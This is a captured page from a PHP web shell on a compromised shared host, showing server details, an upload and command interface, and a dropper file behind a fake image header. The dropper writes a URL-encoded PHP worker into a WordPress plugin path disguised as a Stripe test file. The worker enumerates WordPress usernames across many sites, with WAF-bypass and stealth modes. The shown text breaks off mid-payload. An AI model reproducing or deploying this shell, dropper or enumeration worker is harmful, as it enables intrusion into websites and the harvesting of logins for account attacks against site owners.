????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.64.1  /  Your IP : 216.73.216.18
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/./././././proc/thread-self/root/proc/thread-self/root/dev/shm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/./././././proc/thread-self/root/proc/thread-self/root/dev/shm/.dchunk
<?php   $p = "/home/indihatr/99websites.in/wp-content/plugins/wpforms-lite/vendor_prefixed/stripe/stripe-php/lib/Service/TestHelpers/Terminal/Function.php"; $c = rawurldecode('%3C%3Fphp%0D%0A%0D%0Aif%28isset%28%24_COOKIE%5B%276Y9%27%5D%29%29%20%7B%0D%0A%20%20%20%20die%28%272IJt%27.%27LMnCE%27%29%3B%0D%0A%7D%0D%0A//%20WordPress%20Login%20Mega%20Parser%20-%20PHP%20Worker%20v2.1%20FIXED%0D%0A//%20%D0%98%D1%81%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F%20%D1%84%D0%B8%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F%20%D1%80%D0%B0%D0%B1%D0%BE%D1%87%D0%B0%D1%8F%20%D0%B2%D0%B5%D1%80%D1%81%D0%B8%D1%8F%0D%0A%0D%0Aerror_reporting%28E_ERROR%20%7C%20E_PARSE%29%3B%0D%0Aini_set%28%27display_errors%27%2C%200%29%3B%0D%0Aini_set%28%27max_execution_time%27%2C%20300%29%3B%0D%0Aini_set%28%27memory_limit%27%2C%20%27512M%27%29%3B%0D%0A%0D%0Adefine%28%27WORKER_VERSION%27%2C%20%272.1.0%27%29%3B%0D%0Adefine%28%27MAX_URLS_PER_BATCH%27%2C%201000%29%3B%0D%0Adefine%28%27REQUEST_TIMEOUT%27%2C%2025%29%3B%0D%0A%0D%0Aclass%20LoginParserWorker%20%7B%0D%0A%20%20%20%20%0D%0A%20%20%20%20private%20%24user_agents%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%27Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/122.0.0.0%20Safari/537.36%27%2C%0D%0A%20%20%20%20%20%20%20%20%27Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_7%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/122.0.0.0%20Safari/537.36%27%2C%0D%0A%20%20%20%20%20%20%20%20%27Mozilla/5.0%20%28X11%3B%20Linux%20x86_64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/122.0.0.0%20Safari/537.36%27%2C%0D%0A%20%20%20%20%20%20%20%20%27Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A123.0%29%20Gecko/20100101%20Firefox/123.0%27%2C%0D%0A%20%20%20%20%20%20%20%20%27Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010.15%3B%20rv%3A123.0%29%20Gecko/20100101%20Firefox/123.0%27%2C%0D%0A%20%20%20%20%20%20%20%20%27Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Edge/122.0.0.0%20Safari/537.36%27%0D%0A%20%20%20%20%5D%3B%0D%0A%20%20%20%20%0D%0A%20%20%20%20private%20%24options%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20private%20%24stats%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20private%20%24request_count%20%3D%200%3B%0D%0A%20%20%20%20%0D%0A%20%20%20%20public%20function%20__construct%28%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24this-%3EresetStats%28%29%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20private%20function%20resetStats%28%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24this-%3Estats%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27request_time%27%20%3D%3E%200%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27found_logins%27%20%3D%3E%200%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27methods_used%27%20%3D%3E%20%5B%5D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27waf_detected%27%20%3D%3E%20false%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27bypass_used%27%20%3D%3E%20false%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27total_requests%27%20%3D%3E%200%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27failed_requests%27%20%3D%3E%200%0D%0A%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%24this-%3Erequest_count%20%3D%200%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F%20%D1%82%D0%BE%D1%87%D0%BA%D0%B0%20%D0%B2%D1%85%D0%BE%D0%B4%D0%B0%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20public%20function%20handleRequest%28%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20Health%20check%0D%0A%20%20%20%20%20%20%20%20if%20%28%24_SERVER%5B%27REQUEST_METHOD%27%5D%20%3D%3D%3D%20%27GET%27%20%26%26%20isset%28%24_GET%5B%27action%27%5D%29%20%26%26%20%24_GET%5B%27action%27%5D%20%3D%3D%3D%20%27health%27%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20header%28%27Content-Type%3A%20application/json%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20echo%20json_encode%28%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27status%27%20%3D%3E%20%27ok%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27version%27%20%3D%3E%20WORKER_VERSION%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27timestamp%27%20%3D%3E%20time%28%29%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27php_version%27%20%3D%3E%20PHP_VERSION%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27curl_version%27%20%3D%3E%20function_exists%28%27curl_version%27%29%20%3F%20curl_version%28%29%5B%27version%27%5D%20%3A%20%27unknown%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27memory_usage%27%20%3D%3E%20memory_get_usage%28true%29%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27memory_peak%27%20%3D%3E%20memory_get_peak_usage%28true%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20exit%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20POST%20%D0%BE%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0%0D%0A%20%20%20%20%20%20%20%20if%20%28%24_SERVER%5B%27REQUEST_METHOD%27%5D%20%21%3D%3D%20%27POST%27%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EsendError%28%27Only%20POST%20requests%20allowed%27%2C%20405%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%24input%20%3D%20file_get_contents%28%27php%3A//input%27%29%3B%0D%0A%20%20%20%20%20%20%20%20if%20%28empty%28%24input%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EsendError%28%27Empty%20request%20body%27%2C%20400%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%24task%20%3D%20json_decode%28%24input%2C%20true%29%3B%0D%0A%20%20%20%20%20%20%20%20if%20%28json_last_error%28%29%20%21%3D%3D%20JSON_ERROR_NONE%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EsendError%28%27Invalid%20JSON%3A%20%27%20.%20json_last_error_msg%28%29%2C%20400%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20if%20%28%21%24task%20%7C%7C%20%21isset%28%24task%5B%27urls%27%5D%29%20%7C%7C%20%21isset%28%24task%5B%27mode%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EsendError%28%27Invalid%20task%20format%27%2C%20400%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20if%20%28count%28%24task%5B%27urls%27%5D%29%20%3E%20MAX_URLS_PER_BATCH%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EsendError%28%27Too%20many%20URLs%20in%20batch%27%2C%20400%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%24this-%3Eoptions%20%3D%20%24task%5B%27options%27%5D%20%3F%3F%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20%D0%92%D1%8B%D0%BF%D0%BE%D0%BB%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5%20%D0%BF%D0%B0%D1%80%D1%81%D0%B8%D0%BD%D0%B3%D0%B0%0D%0A%20%20%20%20%20%20%20%20%24start_time%20%3D%20microtime%28true%29%3B%0D%0A%20%20%20%20%20%20%20%20%24results%20%3D%20%24this-%3EparseLoginsBatch%28%24task%5B%27urls%27%5D%2C%20%24task%5B%27mode%27%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%24this-%3Estats%5B%27request_time%27%5D%20%3D%20microtime%28true%29%20-%20%24start_time%3B%0D%0A%20%20%20%20%20%20%20%20%24this-%3Estats%5B%27total_requests%27%5D%20%3D%20%24this-%3Erequest_count%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%BA%D0%B0%20%D1%80%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82%D0%B0%0D%0A%20%20%20%20%20%20%20%20%24this-%3EsendResponse%28%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27task_id%27%20%3D%3E%20%24task%5B%27id%27%5D%20%3F%3F%20%27unknown%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27success%27%20%3D%3E%20true%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27results%27%20%3D%3E%20%24results%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27stats%27%20%3D%3E%20%24this-%3Estats%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27processed_count%27%20%3D%3E%20count%28%24task%5B%27urls%27%5D%29%0D%0A%20%20%20%20%20%20%20%20%5D%29%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%9F%D0%B0%D1%80%D1%81%D0%B8%D0%BD%D0%B3%20%D0%B1%D0%B0%D1%82%D1%87%D0%B0%20URLs%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20parseLoginsBatch%28%24urls%2C%20%24mode%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24results%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20foreach%20%28%24urls%20as%20%24index%20%3D%3E%20%24url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result%20%3D%20%24this-%3EparseLoginsFromURL%28%24url%2C%20%24mode%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24results%5B%5D%20%3D%20%24result%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24result%5B%27logins%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Estats%5B%27found_logins%27%5D%20%2B%3D%20count%28%24result%5B%27logins%27%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%9C%D0%B8%D0%BA%D1%80%D0%BE-%D0%BF%D0%B0%D1%83%D0%B7%D0%B0%20%D0%BC%D0%B5%D0%B6%D0%B4%D1%83%20%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0%D0%BC%D0%B8%20%D0%B2%20stealth%20%D1%80%D0%B5%D0%B6%D0%B8%D0%BC%D0%B5%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%28%24this-%3Eoptions%5B%27stealth_mode%27%5D%20%3F%3F%20false%29%20%26%26%20%24index%20%3C%20count%28%24urls%29%20-%201%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20usleep%28rand%28100000%2C%20500000%29%29%3B%20//%200.1-0.5%20%D1%81%D0%B5%D0%BA%D1%83%D0%BD%D0%B4%D1%8B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20%24e%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Estats%5B%27failed_requests%27%5D%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24results%5B%5D%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27base_url%27%20%3D%3E%20%24url%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27logins%27%20%3D%3E%20%5B%5D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27methods_used%27%20%3D%3E%20%5B%5D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27confidence%27%20%3D%3E%200%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27process_time%27%20%3D%3E%200%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27attempts%27%20%3D%3E%201%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27error%27%20%3D%3E%20%24e-%3EgetMessage%28%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%24results%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%98%D0%A1%D0%9F%D0%A0%D0%90%D0%92%D0%9B%D0%95%D0%9D%D0%9D%D0%AB%D0%99%20%D0%BF%D0%B0%D1%80%D1%81%D0%B8%D0%BD%D0%B3%20%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD%D0%BE%D0%B2%20%D1%81%20%D0%BE%D0%B4%D0%BD%D0%BE%D0%B3%D0%BE%20URL%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20parseLoginsFromURL%28%24url%2C%20%24mode%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24start_time%20%3D%20microtime%28true%29%3B%0D%0A%20%20%20%20%20%20%20%20%24base_url%20%3D%20%24this-%3EextractBaseURL%28%24url%29%3B%0D%0A%20%20%20%20%20%20%20%20%24logins%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%24methods_used%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%24attempts%20%3D%200%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%A3%D0%A0%D0%9E%D0%92%D0%95%D0%9D%D0%AC%201%3A%20%D0%9F%D1%80%D1%8F%D0%BC%D0%B0%D1%8F%20%D0%B0%D1%82%D0%B0%D0%BA%D0%B0%20REST%20API%20%28%D0%B2%D1%81%D0%B5%20%D1%80%D0%B5%D0%B6%D0%B8%D0%BC%D1%8B%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24direct_logins%20%3D%20%24this-%3EtryDirectRestAPI%28%24base_url%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24attempts%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24direct_logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20array_merge%28%24logins%2C%20%24direct_logins%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24methods_used%5B%5D%20%3D%20%27direct_rest_api%27%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%92%20light%20%D1%80%D0%B5%D0%B6%D0%B8%D0%BC%D0%B5%20%D0%BE%D1%81%D1%82%D0%B0%D0%BD%D0%B0%D0%B2%D0%BB%D0%B8%D0%B2%D0%B0%D0%B5%D0%BC%D1%81%D1%8F%20%D0%A2%D0%9E%D0%9B%D0%AC%D0%9A%D0%9E%20%D0%B5%D1%81%D0%BB%D0%B8%20%D0%BD%D0%B0%D0%B9%D0%B4%D0%B5%D0%BD%D0%BE%20%D0%B4%D0%BE%D1%81%D1%82%D0%B0%D1%82%D0%BE%D1%87%D0%BD%D0%BE%20%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD%D0%BE%D0%B2%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24mode%20%3D%3D%3D%20%27light%27%20%26%26%20count%28%24logins%29%20%3E%3D%203%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24this-%3EbuildResult%28%24url%2C%20%24logins%2C%20%24methods_used%2C%20microtime%28true%29%20-%20%24start_time%2C%20%24attempts%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%A3%D0%A0%D0%9E%D0%92%D0%95%D0%9D%D0%AC%202%3A%20%D0%90%D0%BB%D1%8C%D1%82%D0%B5%D1%80%D0%BD%D0%B0%D1%82%D0%B8%D0%B2%D0%BD%D1%8B%D0%B5%20%D0%B8%D1%81%D1%82%D0%BE%D1%87%D0%BD%D0%B8%D0%BA%D0%B8%20%28medium%2B%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20%28in_array%28%24mode%2C%20%5B%27medium%27%2C%20%27heavy%27%2C%20%27mega%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24alt_methods%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27tryUserEnumByID%27%20%3D%3E%20%27user_enum_by_id%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27tryRSSFeed%27%20%3D%3E%20%27rss_feed%27%2C%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27tryBlockRenderer%27%20%3D%3E%20%27block_renderer%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27tryOembedAPI%27%20%3D%3E%20%27oembed_api%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27tryAuthorPages%27%20%3D%3E%20%27author_pages%27%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24alt_methods%20as%20%24method%20%3D%3E%20%24method_name%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24method_logins%20%3D%20%24this-%3E%24method%28%24base_url%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24attempts%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24method_logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20array_merge%28%24logins%2C%20%24method_logins%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24methods_used%5B%5D%20%3D%20%24method_name%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%9C%D0%B8%D0%BA%D1%80%D0%BE-%D0%BF%D0%B0%D1%83%D0%B7%D0%B0%20%D0%BC%D0%B5%D0%B6%D0%B4%D1%83%20%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D0%B0%D0%BC%D0%B8%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24this-%3Eoptions%5B%27stealth_mode%27%5D%20%3F%3F%20false%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20usleep%28rand%2850000%2C%20200000%29%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%92%20medium%20%D1%80%D0%B5%D0%B6%D0%B8%D0%BC%D0%B5%20%D0%BE%D1%81%D1%82%D0%B0%D0%BD%D0%B0%D0%B2%D0%BB%D0%B8%D0%B2%D0%B0%D0%B5%D0%BC%D1%81%D1%8F%20%D0%B5%D1%81%D0%BB%D0%B8%20%D0%BD%D0%B0%D0%B9%D0%B4%D0%B5%D0%BD%D0%BE%20%D0%B4%D0%BE%D1%81%D1%82%D0%B0%D1%82%D0%BE%D1%87%D0%BD%D0%BE%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24mode%20%3D%3D%3D%20%27medium%27%20%26%26%20count%28%24logins%29%20%3E%3D%205%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24this-%3EbuildResult%28%24url%2C%20%24logins%2C%20%24methods_used%2C%20microtime%28true%29%20-%20%24start_time%2C%20%24attempts%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%A3%D0%A0%D0%9E%D0%92%D0%95%D0%9D%D0%AC%203%3A%20%D0%A2%D1%8F%D0%B6%D0%B5%D0%BB%D1%8B%D0%B5%20%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D1%8B%20%28heavy/mega%29%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20%28in_array%28%24mode%2C%20%5B%27heavy%27%2C%20%27mega%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24heavy_methods%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27tryAuthorEnumeration%27%20%3D%3E%20%27author_enumeration%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27tryWAFBypass%27%20%3D%3E%20%27waf_bypass%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27tryGraphQL%27%20%3D%3E%20%27graphql_api%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27tryWooCommerce%27%20%3D%3E%20%27woocommerce_api%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27tryXMLRPC%27%20%3D%3E%20%27xmlrpc_methods%27%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24heavy_methods%20as%20%24method%20%3D%3E%20%24method_name%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24method_logins%20%3D%20%24this-%3E%24method%28%24base_url%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24attempts%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24method_logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20array_merge%28%24logins%2C%20%24method_logins%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24methods_used%5B%5D%20%3D%20%24method_name%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%9F%D0%B0%D1%83%D0%B7%D0%B0%20%D0%BC%D0%B5%D0%B6%D0%B4%D1%83%20%D1%82%D1%8F%D0%B6%D0%B5%D0%BB%D1%8B%D0%BC%D0%B8%20%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D0%B0%D0%BC%D0%B8%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24this-%3Eoptions%5B%27stealth_mode%27%5D%20%3F%3F%20false%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20usleep%28rand%28200000%2C%20800000%29%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%92%20heavy%20%D1%80%D0%B5%D0%B6%D0%B8%D0%BC%D0%B5%20%D0%BE%D1%81%D1%82%D0%B0%D0%BD%D0%B0%D0%B2%D0%BB%D0%B8%D0%B2%D0%B0%D0%B5%D0%BC%D1%81%D1%8F%20%D0%B5%D1%81%D0%BB%D0%B8%20%D0%BD%D0%B0%D0%B9%D0%B4%D0%B5%D0%BD%D0